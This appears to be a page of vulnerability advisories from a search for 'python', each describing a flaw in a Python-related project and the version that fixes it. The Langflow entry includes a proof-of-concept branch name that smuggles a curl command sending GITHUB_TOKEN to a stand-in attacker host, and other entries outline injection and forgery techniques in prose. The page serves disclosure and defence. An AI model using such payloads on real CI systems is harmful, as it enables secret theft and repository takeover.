Found 500 results for "python"
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AIOHTTP is an asynchronous HTTP client/server framework for asyncio and python. Prior to version 3.13.4, the C parser (the default for most installs) accepted null bytes and control characters in response headers. This issue has been patched in version 3.13.4.
Tautulli is a python based monitoring and tracking tool for Plex Media Server. From version 1.3.10 to before version 2.17.0, an unsanitized JSONP callback parameter allows cross-origin script injection and API key theft. This issue has been patched in version 2.17.0.
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Authlib is a python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.
pillow_heif is a python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.
psd-tools is a python package for working with Adobe Photoshop PSD files. Prior to version 1.12.2, when a PSD file contains malformed RLE-compressed image data (e.g. a literal run that extends past the expected row size), decode_rle() raises ValueError which propagated all the way to the user, crashing psd.composite() and psd-tools export. decompress() already had a fallback that replaces failed channels with black pixels when result is None, but it never triggered because the ValueError from decode_rle() was not caught. The fix in version 1.12.2 wraps the decode_rle() call in a try/except so the existing fallback handles the error gracefully.
Eventlet is a concurrent networking library for python. Prior to version 0.40.3, the Eventlet WSGI parser is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer sections. This vulnerability could enable attackers to, bypass front-end security controls, launch targeted attacks against active site users, and poison web caches. This problem has been patched in Eventlet 0.40.3 by dropping trailers which is a breaking change if a backend behind eventlet.wsgi proxy requires trailers. A workaround involves not using eventlet.wsgi facing untrusted clients.
dedupe is a python library that uses machine learning to perform fuzzy matching, deduplication and entity resolution quickly on structured data. Before commit 3f61e79, a critical severity vulnerability has been identified within the .github/workflows/benchmark-bot.yml workflow, where a issue_comment can be triggered using the @benchmark body. This workflow is susceptible to exploitation as it checkout the ${{ github.event.issue.number }}, which correspond to the branch of the PR manipulated by potentially malicious actors, and where untrusted code may be executed. Running untrusted code may lead to the exfiltration of GITHUB_TOKEN, which in this workflow has write permissions on most of the scopes - in particular the contents one - and could lead to potential repository takeover. This is fixed by commit 3f61e79.
pgai is a python library that transforms PostgreSQL into a retrieval engine for RAG and Agentic applications. Prior to commit 8eb3567, the pgai repository was vulnerable to an attack allowing the exfiltration of all secrets used in one workflow. In particular, the GITHUB_TOKEN with write permissions for the repository, allowing an attacker to tamper with all aspects of the repository, including pushing arbitrary code and releases. This issue has been patched in commit 8eb3567.
Spotipy is a python library for the Spotify Web API. As of commit 4f5759dbfb4506c7b6280572a4db1aabc1ac778d, using `pull_request_target` on `.github/workflows/integration_tests.yml` followed by the checking out the head.sha of a forked PR can be exploited by attackers, since untrusted code can be executed having full access to secrets (from the base repo). By exploiting the vulnerability is possible to exfiltrate `GITHUB_TOKEN` and secrets `SPOTIPY_CLIENT_ID`, `SPOTIPY_CLIENT_SECRET`. In particular `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content write privileges. The `pull_request_target` in GitHub Actions is a major security concern—especially in public repositories—because it executes untrusted code from a PR, but with the context of the base repository, including access to its secrets. Commit 9dfb7177b8d7bb98a5a6014f8e6436812a47576f reverted the change that caused the issue.
h11 is a python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
Improper neutralization of triple-quote characters during python code generation in AgentCore CLI before v0.14.2 might allow an authenticated remote threat actor to execute arbitrary code on AWS AgentCore Runtime under the imported agent's IAM execution role and on the local environment of another user in the same AWS account, via a crafted collaborationInstruction stored on a Bedrock Agent collaborator and later processed by that other user during agent import. To remediate this issue, users should upgrade to version 0.14.2.
Wazuh is a free and open source platform used for threat prevention, detection, and response. From version 4.4.0 to before version 4.14.4, a path traversal vulnerability in Wazuh's cluster synchronization extraction routine allows an authenticated cluster peer to write arbitrary files outside the intended extraction directory on other cluster nodes. This can be escalated to code execution in the Wazuh service context by overwriting python modules loaded by Wazuh components (proof of concept available as separate attachment). In deployments where the cluster daemon runs with elevated privileges, system-level compromise is possible. This issue has been patched in version 4.14.4.
Grist is spreadsheet software using python as its formula language. Grist offers several methods for running those formulas in a sandbox, for cases where the user may be working with untrusted spreadsheets. One such method runs them in pyodide, but pyodide on node does not have a useful sandbox barrier. If a user of Grist sets `GRIST_SANDBOX_FLAVOR` to `pyodide` and opens a malicious document, that document could run arbitrary processes on the server hosting Grist. The problem has been addressed in Grist version 1.7.9 and up, by running pyodide under deno. As a workaround, a user can use the gvisor-based sandbox by setting `GRIST_SANDBOX_FLAVOR` to `gvisor`.
Tautulli is a python based monitoring and tracking tool for Plex Media Server. Versions prior to 2.17.1 expose `log_js_errors` to any authenticated user, including guest users when guest access is enabled. The endpoint writes attacker-controlled strings directly into the main application log. The administrator-only `logFile` view then reads that log file and embeds it into an HTML response without escaping. This creates a stored cross-site scripting condition where a low-privilege guest can inject HTML or JavaScript into the log file and have it execute in an administrator's browser when the log viewer is opened. Version 2.17.1 patches the issue.
Dulwich is a pure-python implementation of the Git file formats and protocols. Versions starting with 0.10.0 and prior to 1.2.5 have an arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. This issue is fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.
In Splunk Enterprise versions below 10.2.4, 10.0.7, 9.4.12, and 9.3.13, Splunk Cloud Platform versions below 10.3.2512.12, 10.2.2510.14, 10.1.2507.22, and 9.3.2411.132, and Splunk Secure Gateway versions below 3.10.6, 3.9.20, and 3.8.67, a low-privileged user that does not hold the 'admin' or 'power' Splunk roles could perform a Remote Code Execution (RCE) through the Splunk Secure Gateway app.
The Remote Code Execution is possible because of unsafe deserialization of App Key Value Store (KV Store) data through the ‘jsonpickle’ python library, which reconstructs arbitrary python objects from specially crafted JavaScript Object Notation (JSON) without adequate validation.
Tautulli is a python based monitoring and tracking tool for Plex Media Server. Versions prior to 2.17.1 expose `configUpdate` as a state-changing administrator endpoint, but the route does not enforce `POST` and does not use any anti-CSRF token. In the default form and JWT-based authentication mode, the administrator session cookie is issued with `SameSite=Lax`, which still permits top-level cross-site navigation requests. An attacker can exploit this by luring a logged-in administrator to a malicious page that submits a cross-site request to `/configUpdate` and overwrites the local administrator username and password. The attacker can then sign in directly with the chosen credentials and take over the Tautulli administrative interface. Version 2.17.1 patches the issue.
BentoML is a python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.
BentoML is a python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.